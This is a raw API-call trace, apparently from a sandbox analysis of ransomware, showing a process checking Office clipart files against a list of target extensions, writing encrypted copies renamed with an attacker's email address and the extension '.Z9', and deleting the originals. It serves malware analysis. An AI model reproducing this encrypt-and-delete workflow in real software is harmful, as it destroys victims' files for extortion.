	[0178.135] lstrlenW (lpString=".7z") returned 3
	[0178.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.135] lstrlenW (lpString=".dbf") returned 4
	[0178.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.136] lstrlenW (lpString=".1cd") returned 4
	[0178.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.136] lstrlenW (lpString=".jpg") returned 4
	[0178.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.136] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.136] lstrlenW (lpString="J0107452.WMF") returned 12
	[0178.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.139] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=21216) returned 1
	[0178.139] CloseHandle (hObject=0x444) returned 1
	[0178.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220
	[0178.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.140] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.140] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.141] GetLastError () returned 0x0
	[0178.141] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x52e0, lpOverlapped=0x0) returned 1
	[0178.580] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x52f0, lpOverlapped=0x0) returned 1
	[0178.582] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.582] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.582] SetEndOfFile (hFile=0x558) returned 1
	[0178.583] CloseHandle (hObject=0x558) returned 1
	[0178.583] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.583] SetEndOfFile (hFile=0x444) returned 1
	[0178.587] CloseHandle (hObject=0x444) returned 1
	[0178.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1
	[0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.590] lstrlenW (lpString=".doc") returned 4
	[0178.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.590] lstrlenW (lpString=".docx") returned 5
	[0178.590] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.590] lstrlenW (lpString=".pdf") returned 4
	[0178.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.590] lstrlenW (lpString=".xls") returned 4
	[0178.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.590] lstrlenW (lpString=".xlsx") returned 5
	[0178.590] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.590] lstrlenW (lpString=".ppt") returned 4
	[0178.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.590] lstrlenW (lpString=".zip") returned 4
	[0178.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.590] lstrlenW (lpString=".rar") returned 4
	[0178.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.590] lstrlenW (lpString=".bz2") returned 4
	[0178.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.590] lstrlenW (lpString=".7z") returned 3
	[0178.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.590] lstrlenW (lpString=".dbf") returned 4
	[0178.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.591] lstrlenW (lpString=".1cd") returned 4
	[0178.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.591] lstrlenW (lpString=".jpg") returned 4
	[0178.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.591] lstrlenW (lpString=".doc") returned 4
	[0178.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.591] lstrlenW (lpString=".docx") returned 5
	[0178.591] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.591] lstrlenW (lpString=".pdf") returned 4
	[0178.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.591] lstrlenW (lpString=".xls") returned 4
	[0178.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.591] lstrlenW (lpString=".xlsx") returned 5
	[0178.591] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.591] lstrlenW (lpString=".ppt") returned 4
	[0178.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.592] lstrlenW (lpString=".zip") returned 4
	[0178.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.592] lstrlenW (lpString=".rar") returned 4
	[0178.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.592] lstrlenW (lpString=".bz2") returned 4
	[0178.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.592] lstrlenW (lpString=".7z") returned 3
	[0178.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.592] lstrlenW (lpString=".dbf") returned 4
	[0178.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.592] lstrlenW (lpString=".1cd") returned 4
	[0178.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0178.592] lstrlenW (lpString=".jpg") returned 4
	[0178.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.593] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.593] lstrlenW (lpString="J0107488.WMF") returned 12
	[0178.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.594] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8000) returned 1
	[0178.595] CloseHandle (hObject=0x444) returned 1
	[0178.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220
	[0178.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.596] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.596] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.598] GetLastError () returned 0x0
	[0178.598] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1f40, lpOverlapped=0x0) returned 1
	[0178.600] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1f50, lpOverlapped=0x0) returned 1
	[0178.602] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.602] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.602] SetEndOfFile (hFile=0x558) returned 1
	[0178.608] CloseHandle (hObject=0x558) returned 1
	[0178.609] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.609] SetEndOfFile (hFile=0x444) returned 1
	[0178.612] CloseHandle (hObject=0x444) returned 1
	[0178.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1
	[0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.614] lstrlenW (lpString=".doc") returned 4
	[0178.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString=".docx") returned 5
	[0178.614] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.614] lstrlenW (lpString=".pdf") returned 4
	[0178.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString=".xls") returned 4
	[0178.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.614] lstrlenW (lpString=".xlsx") returned 5
	[0178.614] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.614] lstrlenW (lpString=".ppt") returned 4
	[0178.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.614] lstrlenW (lpString=".zip") returned 4
	[0178.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.614] lstrlenW (lpString=".rar") returned 4
	[0178.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString=".bz2") returned 4
	[0178.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString=".7z") returned 3
	[0178.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.614] lstrlenW (lpString=".dbf") returned 4
	[0178.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.614] lstrlenW (lpString=".1cd") returned 4
	[0178.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.614] lstrlenW (lpString=".jpg") returned 4
	[0178.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString=".doc") returned 4
	[0178.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString=".docx") returned 5
	[0178.615] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.615] lstrlenW (lpString=".pdf") returned 4
	[0178.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString=".xls") returned 4
	[0178.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.615] lstrlenW (lpString=".xlsx") returned 5
	[0178.615] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.615] lstrlenW (lpString=".ppt") returned 4
	[0178.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString=".zip") returned 4
	[0178.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.615] lstrlenW (lpString=".rar") returned 4
	[0178.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString=".bz2") returned 4
	[0178.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString=".7z") returned 3
	[0178.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString=".dbf") returned 4
	[0178.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString=".1cd") returned 4
	[0178.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0178.615] lstrlenW (lpString=".jpg") returned 4
	[0178.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.616] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.616] lstrlenW (lpString="J0107490.WMF") returned 12
	[0178.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.617] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16468) returned 1
	[0178.617] CloseHandle (hObject=0x444) returned 1
	[0178.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220
	[0178.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.940] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.940] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.942] GetLastError () returned 0x0
	[0178.942] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4054, lpOverlapped=0x0) returned 1
	[0178.944] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4060, lpOverlapped=0x0) returned 1
	[0178.946] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.946] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.946] SetEndOfFile (hFile=0x54c) returned 1
	[0178.946] CloseHandle (hObject=0x54c) returned 1
	[0178.946] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.946] SetEndOfFile (hFile=0x548) returned 1
	[0178.951] CloseHandle (hObject=0x548) returned 1
	[0178.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1
	[0178.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.953] lstrlenW (lpString=".doc") returned 4
	[0178.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.953] lstrlenW (lpString=".docx") returned 5
	[0178.953] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.953] lstrlenW (lpString=".pdf") returned 4
	[0178.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.953] lstrlenW (lpString=".xls") returned 4
	[0178.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.953] lstrlenW (lpString=".xlsx") returned 5
	[0178.953] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.953] lstrlenW (lpString=".ppt") returned 4
	[0178.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.953] lstrlenW (lpString=".zip") returned 4
	[0178.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.953] lstrlenW (lpString=".rar") returned 4
	[0178.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.953] lstrlenW (lpString=".bz2") returned 4
	[0178.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.953] lstrlenW (lpString=".7z") returned 3
	[0178.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString=".dbf") returned 4
	[0178.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString=".1cd") returned 4
	[0178.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString=".jpg") returned 4
	[0178.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString=".doc") returned 4
	[0178.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString=".docx") returned 5
	[0178.954] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.954] lstrlenW (lpString=".pdf") returned 4
	[0178.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString=".xls") returned 4
	[0178.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.954] lstrlenW (lpString=".xlsx") returned 5
	[0178.954] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.954] lstrlenW (lpString=".ppt") returned 4
	[0178.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.954] lstrlenW (lpString=".zip") returned 4
	[0178.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.954] lstrlenW (lpString=".rar") returned 4
	[0178.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.954] lstrlenW (lpString=".bz2") returned 4
	[0178.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
